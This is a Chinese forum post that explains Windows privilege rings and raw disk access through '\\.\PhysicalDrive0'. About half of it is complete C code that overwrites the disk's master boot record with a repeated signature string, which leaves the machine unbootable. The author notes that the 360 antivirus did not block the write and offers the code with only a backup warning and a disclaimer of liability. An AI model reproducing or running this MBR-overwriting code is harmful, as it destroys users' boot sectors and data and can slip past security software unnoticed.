CPU一共有四种权限级别:ring0 ring1 ring2 ring3
Windows只是用了ring0和ring3 我们在使用电脑时,一般在ring3模式下工作。在ring3模式下,我们无法使用CPU特权指令in和out。对系统所属的数据,地址空间以及硬件也是有严格的限制的。
但是这对于操作系统来说是一件好事,可对于一些应用程序来说,就很无语了。 要想在ring3下完成这个任务,只能通过内核程序来进行使用。在Windows系统中,内核程序不受任何的限制,可以随意存取系统所属的数据,操作系统地址空间等。所以,开发内核程序必须要有严格的测试! 不过呢,想要在ring3级别下访问硬盘,也是很简单的! 那是因为: Windows 操作系统为了自己编程方便,编写了在用户模式下调用的硬盘内核模式驱动程序,该程序在系统启动时候自动装载。我们只要掌握这个 Windows 内核模式的驱动程序,就可以直接在用户模式下直接无阻碍访问硬盘了。
不过想要掌握这个内核程序,也是很简单。因为: 硬盘内核驱动程序将硬盘作为一个文件,文件名为:"\\.\\physicaldrive0"
这样,我们就可以通过这个文件名,使用 CreateFile, ReadFile, WriteFile 和 DeviceIoControl 这几个API来进行访问硬盘。
题外话:我在测试的时候发现了一个大问题。就是我用这个程序在改写MBR的时候,我的360安全卫士竟然没提示,也没拦截!!!然后。。。。。额 就没有然后了(因为虚拟机跑不起来 所以我在真实机器上测试。幸亏备份MBR了)。。。。。 下面的代码,请谨慎使用。使用前请先备份MBR。以防数据丢失。 如果出现事故,与本人无关! - #include <windows.h>
- int main(void)
- {
- //硬盘文件名
- LPCSTR DiskFileName="\\\\.\\PhysicalDrive0";
- //主引导记录
- char code[]=
- "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
- "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 -> "
- "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> "
- "By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 -> By:紫玫冰心 ->By:紫玫冰心 -> ";
- BYTE MBR[512];
- DWORD s=NULL,t=NULL;
- /* 文件句柄 */
- HANDLE handle=NULL;
- //构造MBR
- memcpy(MBR,code,sizeof(code)-1);
- //打开硬盘
- handle=CreateFileA(
- DiskFileName,
- GENERIC_READ|GENERIC_WRITE,
- FILE_SHARE_READ|FILE_SHARE_WRITE,
- 0,
- OPEN_EXISTING,
- 0,
- 0);
- if(handle==INVALID_HANDLE_VALUE)
- {
- //打开文件失败
- MessageBoxA(NULL,(LPCSTR)"Can't Create File!",(LPCSTR)"error",MB_OK);
- return 0;
- }else{
- //写入新的MBR
- WriteFile(handle,MBR,sizeof(MBR),&t,NULL);
- DeviceIoControl(handle,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&s,NULL);
- CloseHandle(handle);//关闭文件
- MessageBoxA(NULL,(LPCSTR)"successful",(LPCSTR)"ok",MB_OK);
- return 0;
- }
- return 0;
- }
复制代码
|